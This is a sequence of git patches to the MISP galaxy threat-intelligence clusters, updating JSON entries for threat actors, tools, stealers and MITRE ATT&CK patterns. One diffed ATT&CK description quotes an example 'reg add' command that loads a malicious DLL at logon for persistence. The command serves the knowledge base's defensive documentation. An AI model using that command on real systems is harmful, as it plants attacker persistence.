+ "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1654,6 +1654,20 @@ ], "type": "uses" }, + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -1662,21 +1676,7 @@ "type": "uses" }, { - "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4226,20 +4226,14 @@ "description": "[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)", "meta": { "external_id": "S0298", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", "https://attack.mitre.org/software/S0298" - ], - "synonyms": [ - "Xbot" ] }, "related": [ { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4260,7 +4254,7 @@ "type": "similar" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4281,7 +4275,7 @@ "type": "similar" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6182,5 +6176,5 @@ "value": "Mythic - S0699" } ], - "version": 24 + "version": 25 } From c3b65a2d15451a57a68871d51549801fe2a99b08 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Tue, 27 Sep 2022 08:18:13 +0200 Subject: [PATCH 132/167] chg: [threat-actor] JSON fix --- clusters/threat-actor.json | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 161960f..a689f2a 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9801,26 +9801,26 @@ { "description": "Void Balaur is a highly active hack-for-hire / cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.", "meta": { + "cfr-suspected-victims": [ + "Brazil", + "Central African Republic", + "Georgia", + "Kazakhstan", + "Moldova", + "Russia", + "Spain", + "Sudan", + "Taiwan", + "Ukraine", + "United Kingdom", + "United States" + ], "refs": [ "https://www.sentinelone.com/labs/the-sprawling-infrastructure-of-a-careless-mercenary/", "https://blog.google/threat-analysis-group/countering-hack-for-hire-groups/", "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf", "https://www.amnesty.org/en/latest/research/2020/03/targeted-surveillance-attacks-in-uzbekistan-an-old-threat-with-new-techniques/", "https://equalit.ie/deflect-labs-report-6/" - ], - "cfr-suspected-victims": [ - "Brazil", - "Central African Republic", - "Georgia", - "Kazakhstan", - "Moldova", - "Russia", - "Spain", - "Sudan", - "Taiwan", - "Ukraine", - "United Kingdom", - "United States" ] }, "uuid": "ca310f0a-1131-4c67-b0a7-f1cd4ce0f87f", From c66d6823a19f9052cbfb7f33f6e26aeae08830d7 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Thu, 29 Sep 2022 02:30:41 +0000 Subject: [PATCH 133/167] Add APT-Q-12 Threat Actor. --- clusters/threat-actor.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index a689f2a..37727b0 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9825,7 +9825,17 @@ }, "uuid": "ca310f0a-1131-4c67-b0a7-f1cd4ce0f87f", "value": "Void Balaur" + }, + { + "description": "APT-Q-12", + "meta": { + "refs": [ + "https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A" + ] + }, + "uuid": "6a83b2bf-0c51-4c9b-89b0-35df7cab1dd5", + "value": "APT-Q-12" } ], - "version": 248 + "version": 249 } From 4f47e6e2d3749aec72a3a0be5bbbf314013fbbff Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 29 Sep 2022 11:28:54 -0700 Subject: [PATCH 134/167] [threat-actors] Equation group: separate from Lamberts and add tools --- clusters/threat-actor.json | 54 +++++++++++++++++++++++++++++++++----- 1 file changed, 47 insertions(+), 7 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 37727b0..6ce8215 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3875,15 +3875,11 @@ "https://www.dropbox.com/s/buxkfotx1kei0ce/Whitepaper%20Shadow%20Broker%20-%20Equation%20Group%20Hack.pdf?dl=0", "https://en.wikipedia.org/wiki/Stuxnet", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf", - "https://attack.mitre.org/groups/G0020/", - "https://www.secureworks.com/research/threat-profiles/platinum-terminal" + "https://attack.mitre.org/groups/G0020/" ], "synonyms": [ "Tilded Team", - "Lamberts", "EQGRP", - "Longhorn", - "PLATINUM TERMINAL", "G0020" ] }, @@ -3894,6 +3890,48 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "3e0c2d35-87cb-40f9-b341-a6c8dbec697e", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb8828a4-76de-467d-9f52-528984aa9b8d", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a4cebcc4-9e9b-415f-aa05-dd71c4e288fe", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2407bd9a-a3a4-40c4-86de-be6965243c67", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1e25d254-3f03-4752-b8d6-023a23e7d4ae", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21f7a57b-7778-4b3e-9b50-5289ae3b445d", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" } ], "uuid": "7036fb3d-86b7-4d9c-bc66-1e1ead8b7840", @@ -4105,12 +4143,14 @@ "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.bleepingcomputer.com/news/security/longhorn-cyber-espionage-group-is-actually-the-cia/", "https://www.cfr.org/interactive/cyber-operations/longhorn", - "http://blogs.360.cn/post/APT-C-39_CIA_EN.html" + "http://blogs.360.cn/post/APT-C-39_CIA_EN.html", + "https://www.secureworks.com/research/threat-profiles/platinum-terminal" ], "synonyms": [ "Lamberts", "the Lamberts", - "APT-C-39" + "APT-C-39", + "PLATINUM TERMINAL" ] }, "related": [ From 5994fa4160a03eba5bc1ac5da0d19d7c673b9c6c Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 29 Sep 2022 14:39:42 -0700 Subject: [PATCH 135/167] [threat-actors] Fix Volatile Cedar and Dancing Salome conflicts --- clusters/threat-actor.json | 36 ++++++++++++++++++++++++++---------- 1 file changed, 26 insertions(+), 10 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 37727b0..25663df 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3604,34 +3604,50 @@ "value": "OilRig" }, { - "description": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .", + "description": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.", "meta": { + "country": "LB", "refs": [ "https://blog.checkpoint.com/2015/03/31/volatilecedar/", "https://blog.checkpoint.com/2015/06/09/new-data-volatile-cedar/", "https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/", - "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf" + "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf" + ], + "suspected-victims": [ + "Middle East", + "Israel", + "Lebanon", + "Saudi Arabia" ], "synonyms": [ - "Reuse team", - "Malware reusers", - "Dancing Salome", "Lebanese Cedar" ] }, + "related": [ + { + "dest-uuid": "0155c3b1-8c7c-4176-aeda-68678dd99992", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "uses" + } + ], "uuid": "cf421ce6-ddfe-419a-bc65-6a9fc953232a", "value": "Volatile Cedar" }, { - "description": "Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.", + "description": "Dancing Salome is the Kaspersky codename for an APT actor with a primary focus on ministries of foreign affairs, think tanks, and Ukraine. What makes Dancing Salome interesting and relevant is the attacker’s penchant for leveraging HackingTeam RCS implants compiled after the public breach.", "meta": { - "synonyms": [ - "Reuse team", - "Dancing Salome" + "refs": [ + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf" + ], + "suspected-victims": [ + "Ukraine" ] }, "uuid": "3d5192f2-f235-46fd-aa68-dd00cc17d632", - "value": "Malware reusers" + "value": "Dancing Salome" }, { "description": "Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.", From a740e35687fa9890b7b0ec0892f820ef75b37214 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 29 Sep 2022 16:11:19 -0700 Subject: [PATCH 136/167] [threat-actors] Remove SVCMONDR duplicate --- clusters/threat-actor.json | 15 ++------------- 1 file changed, 2 insertions(+), 13 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 37727b0..91f5139 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -417,7 +417,8 @@ "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html", "https://www.cfr.org/interactive/cyber-operations/apt-16", "https://attack.mitre.org/groups/G0023", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/" ], "synonyms": [ "SVCMONDR", @@ -4740,18 +4741,6 @@ "uuid": "9035bfbf-a73f-4948-9df2-bd893e9cafef", "value": "EvilPost" }, - { - "description": "The referenced link links this group to Temper Panda", - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/" - ] - }, - "uuid": "70b80bcc-58e3-4a09-a3bf-98c0412bb7d3", - "value": "SVCMONDR" - }, { "meta": { "attribution-confidence": "50", From 74c6835d18cf3151b5d4b7f36f8af3bc4c40f88f Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 29 Sep 2022 17:15:36 -0700 Subject: [PATCH 137/167] [threat-actors] Fix G0055 (NEODYMIUM) alias --- clusters/threat-actor.json | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 37727b0..a38549a 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3702,12 +3702,10 @@ "refs": [ "https://www.microsoft.com/security/blog/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", "https://www.virusbulletin.com/conference/vb2016/abstracts/last-minute-paper-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users", - "https://attack.mitre.org/groups/G0055/", "https://attack.mitre.org/groups/G0056/" ], "synonyms": [ "StrongPity", - "G0055", "G0056" ] }, @@ -3734,7 +3732,11 @@ "description": "NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.", "meta": { "refs": [ - "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "https://attack.mitre.org/groups/G0055/" + ], + "synonyms": [ + "G0055" ] }, "related": [ From 4bcf80f01b1498623e32d7b53a7cf38211f629e7 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Sun, 2 Oct 2022 22:00:54 +0000 Subject: [PATCH 138/167] Add SharPyShell tool. --- clusters/tool.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index 67d5739..4004769 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8602,7 +8602,17 @@ }, "uuid": "f493dede-9134-44db-a00d-aa4866bfd555", "value": "Chisel" + }, + { + "description": "SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications", + "meta": { + "refs": [ + "https://github.com/antonioCoco/SharPyShell" + ] + }, + "uuid": "e10ff67f-8b52-4648-9217-da53ff7d52f9", + "value": "SharPyShell" } ], - "version": 155 + "version": 156 } From e5b3062912eec0a74556f428a2cc30cda2965a8a Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Mon, 3 Oct 2022 16:06:13 +0200 Subject: [PATCH 139/167] add Volatile Cedar synonym --- clusters/threat-actor.json | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 50582e6..574c3dc 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3613,13 +3613,15 @@ "https://blog.checkpoint.com/2015/06/09/new-data-volatile-cedar/", "https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/", "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" ], "suspected-victims": [ "Middle East", "Israel", "Lebanon", - "Saudi Arabia" + "Saudi Arabia", + "DeftTorero" ], "synonyms": [ "Lebanese Cedar" @@ -9884,5 +9886,5 @@ "value": "APT-Q-12" } ], - "version": 249 + "version": 250 } From 355025eb5b8ac7f3d09fb1b9a596681fadeeb2bf Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 4 Oct 2022 13:28:42 +0200 Subject: [PATCH 140/167] fix metadata in wrong slot --- clusters/threat-actor.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 574c3dc..b4923fb 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3620,11 +3620,11 @@ "Middle East", "Israel", "Lebanon", - "Saudi Arabia", - "DeftTorero" + "Saudi Arabia" ], "synonyms": [ - "Lebanese Cedar" + "Lebanese Cedar", + "DeftTorero" ] }, "related": [ From 9952366667f9bedc2b1afb1ed4c40223b0379bed Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Fri, 14 Oct 2022 16:03:45 +0200 Subject: [PATCH 141/167] add Prynt Stealer & variants --- clusters/stealer.json | 80 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 79 insertions(+), 1 deletion(-) diff --git a/clusters/stealer.json b/clusters/stealer.json index 3627bfe..5ac032e 100644 --- a/clusters/stealer.json +++ b/clusters/stealer.json @@ -88,7 +88,85 @@ }, "uuid": "ebc1c15d-3e27-456e-9473-61d92d91bda8", "value": "HackBoss" + }, + { + "description": "Prynt Stealer is an information stealer that has the ability to capture credentials that are stored on a compromised system including web browsers, VPN/FTP clients, as well as messaging and gaming applications. Its developer based the malware code on open source projects including AsyncRAT and StormKitty. Prynt Stealer uses Telegram to exfiltrate data that is stolen from victims. Its author added a backdoor Telegram channel to collect the information stolen by other criminals.", + "meta": { + "refs": [ + "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" + ] + }, + "related": [ + { + "dest-uuid": "46bff4ad-09fe-4ac5-803e-daa3b73e3aaf", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "variant-of" + }, + { + "dest-uuid": "d410b534-07a4-4190-b253-f6616934bea6", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "variant-of" + } + ], + "uuid": "8f5a452a-4056-4004-bc9a-4c11cb8cf2b4", + "value": "Prynt Stealer" + }, + { + "description": "Nearly identical to Prynt Stealer with a few differences. DarkEye is not sold or mentioned publicly, however, it is bundled as a backdoor with a “free” Prynt Stealer builder.", + "meta": { + "refs": [ + "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" + ] + }, + "related": [ + { + "dest-uuid": "8f5a452a-4056-4004-bc9a-4c11cb8cf2b4", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "variant-of" + }, + { + "dest-uuid": "d410b534-07a4-4190-b253-f6616934bea6", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "variant-of" + } + ], + "uuid": "46bff4ad-09fe-4ac5-803e-daa3b73e3aaf", + "value": "DarkEye" + }, + { + "description": "Prynt Stealer variant that appear to be written by the same author. It is nearly identical to Prynt Stealer with a few minor differences. While Prynt Stealer is the most popular brand name for selling the malware, WorldWind payloads are the most commonly observed in-the-wild. ", + "meta": { + "refs": [ + "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" + ] + }, + "related": [ + { + "dest-uuid": "8f5a452a-4056-4004-bc9a-4c11cb8cf2b4", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "variant-of" + }, + { + "dest-uuid": "46bff4ad-09fe-4ac5-803e-daa3b73e3aaf", + "tags": [ + "estimative-language:likelihood-probability=\"very-likely\"" + ], + "type": "variant-of" + } + ], + "uuid": "d410b534-07a4-4190-b253-f6616934bea6", + "value": "WorldWind" } ], - "version": 8 + "version": 9 } From 015650c6d7dede8e8d1f917e80bf780ab77dc500 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Tue, 1 Nov 2022 22:39:33 +0100 Subject: [PATCH 142/167] chg: [mitre-attack] updated to version 12.0 --- clusters/mitre-attack-pattern.json | 4908 +++------------ clusters/mitre-course-of-action.json | 1385 ++--- clusters/mitre-intrusion-set.json | 3124 ++-------- clusters/mitre-malware.json | 8380 ++++++-------------------- clusters/mitre-tool.json | 1207 +--- 5 files changed, 3962 insertions(+), 15042 deletions(-) diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index 7ef8b0b..9f75e7b 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -378,7 +378,15 @@ "https://attack.mitre.org/techniques/T1445" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac", "value": "Abuse of iOS Enterprise App Signing Key - T1445" }, @@ -618,7 +626,7 @@ "value": "Identify vulnerabilities in third-party software libraries - T1389" }, { - "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "meta": { "external_id": "CAPEC-270", "kill_chain": [ @@ -642,6 +650,7 @@ "https://capec.mitre.org/data/definitions/270.html", 